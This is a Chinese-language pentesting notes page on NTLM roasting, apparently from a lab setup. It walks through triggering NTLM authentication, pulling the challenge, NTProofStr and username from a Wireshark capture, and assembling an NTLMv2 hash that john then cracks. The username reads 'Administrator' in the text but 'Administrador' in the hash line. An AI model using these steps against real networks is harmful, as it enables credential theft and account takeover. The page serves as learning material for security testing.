> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

从一台 Windows 机器上，我们首先触发 NTLM 身份验证。

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

如果我们在 Wireshark 中捕获流量，可以按以下内容进行过滤 `NTLMSSP`.

<figure><img src="/files/28b6cc9f38653b669f7e9d86ee6f6e43d91e59b0" alt=""><figcaption></figcaption></figure>

然后我们取回服务器发送的挑战值。

* 9dcfb27e14194959

<figure><img src="/files/f4a98d187e7d0e43436ffc3fde2cddaa6fb7f324" alt="" width="563"><figcaption></figcaption></figure>

在响应中，我们还找到了客户端发送的加密部分。

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="/files/b5a184e9a24c667eb19b733d1dac111597b2fa36" alt=""><figcaption></figcaption></figure>

我们还注意到 `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="/files/dff6bc308ddd454bcabc53ed400b6623a8193894" alt=""><figcaption></figcaption></figure>

最后，你必须识别发起请求的用户名。

* Administrator

<figure><img src="/files/9d8104975f32bfb697744da58e3c5d8ccb9746d6" alt=""><figcaption></figcaption></figure>

然后将所有这些值按破解工具所期望的格式组装起来。

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

从 Linux 上，我们接着可以尝试破解 NTLMv2 响应。

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="/files/72d9734a986aa828ae1bb22753d86211f716a6a7" alt=""><figcaption></figcaption></figure>


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